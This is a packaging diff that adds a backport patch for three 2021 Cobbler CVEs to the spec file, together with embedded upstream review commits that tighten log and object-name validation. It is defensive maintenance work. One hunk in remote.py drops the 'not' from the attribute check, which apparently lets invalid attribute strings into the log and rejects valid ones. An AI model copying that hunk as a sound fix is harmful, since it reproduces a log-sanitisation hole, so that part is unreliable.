452e47142b24d79fbfc93199594be75e84caa54a Mon Sep 17 00:00:00 2001 +From: Enno G +Date: Mon, 20 Sep 2021 16:40:50 +0200 +Subject: [PATCH 7/7] Review comments by @agraul + +Co-authored-by: Alexander Graul +--- + cobbler/remote.py | 8 +++----- + cobbler/validate.py | 2 +- + 2 files changed, 4 insertions(+), 6 deletions(-) + +diff --git a/cobbler/remote.py b/cobbler/remote.py +index 2346eb0fd..d6cfe806d 100644 +--- a/cobbler/remote.py ++++ b/cobbler/remote.py +@@ -574,7 +574,7 @@ def _log(self, msg: str, token: Optional[str] = None, name: Optional[str] = None + :param debug: If the message logged is a debug message. + :param error: If the message logged is an error message. + """ +- if not (isinstance(error, bool) or isinstance(debug, bool) or isinstance(msg, str)): ++ if not all((isinstance(error, bool), isinstance(debug, bool), isinstance(msg, str))): + return + # add the user editing the object, if supplied + m_user = "?" +@@ -587,8 +587,6 @@ def _log(self, msg: str, token: Optional[str] = None, name: Optional[str] = None + msg = "REMOTE %s; user(%s)" % (msg, m_user) + + if name is not None: +- if not isinstance(name, str): +- return + if not validate_obj_name(name): + return + msg = "%s; name(%s)" % (msg, name) +@@ -600,7 +598,7 @@ def _log(self, msg: str, token: Optional[str] = None, name: Optional[str] = None + + # add any attributes being modified, if any + if attribute: +- if not (isinstance(attribute, str) and attribute.isidentifier()) or keyword.iskeyword(attribute): ++ if (isinstance(attribute, str) and attribute.isidentifier()) or keyword.iskeyword(attribute): + return + msg = "%s; attribute(%s)" % (msg, attribute) + +@@ -3217,7 +3215,7 @@ def __is_token(token: str) -> bool: + Simple check to validate if it is a token. + + __make_token() uses 25 as the length of bytes that means we need to padding bytes to have a 34 character str. +- Because base64 specifies that the number of padding bytes are shown via equal characters, we have a 46 character ++ Because base64 specifies that the number of padding bytes are shown via equal characters, we have a 36 character + long str in the end in every case. + + :param token: The str which should be checked. +diff --git a/cobbler/validate.py b/cobbler/validate.py +index af5c86fc9..b9d9cc045 100644 +--- a/cobbler/validate.py ++++ b/cobbler/validate.py +@@ -662,7 +662,7 @@ def validate_obj_name(object_name: str) -> bool: + """ + if not isinstance(object_name, str): + return False +- return bool(re.match(item.RE_OBJECT_NAME, object_name)) ++ return bool(re.fullmatch(item.RE_OBJECT_NAME, object_name)) + + + def validate_obj_id(object_id: str) -> bool: diff --git a/cobbler.spec b/cobbler.spec index 4fc3c28..f0c9bf2 100644 --- a/cobbler.spec +++ b/cobbler.spec @@ -4,7 +4,7 @@ Name: cobbler Version: 3.2.0 -Release: 1 +Release: 2 Summary: Boot server configurator URL: https://cobbler.github.io/ License: GPLv2+ @@ -14,6 +14,7 @@ BuildArch: noarch Patch9000: huawei-adapt-vendor.patch Patch9001: huawei-repair-switch-condition-error.patch Patch6000: fix-Give-root-RW-permissions-to-var-lib-cobbler-web.ss.patch +Patch6001: backport-CVE-2021-40323-and-40324-and-40325.patch BuildRequires: system-release BuildRequires: python%{python3_pkgversion}-devel @@ -209,6 +210,9 @@ sed -i -e "s/SECRET_KEY = ''/SECRET_KEY = \'$RAND_SECRET\'/" %{_datadir}/cobbler %attr(-,apache,apache) /var/www/cobbler_webui_content/ %changelog +* Thu Oct 28 2021 orange-snn - 3.2.0-2 +- fix CVE-2021-40323 and CVE-2021-40324 and CVE-2021-40325 + * Sat May 29 2021 liuxin - 3.2.0 - 1 - Package init -- Gitee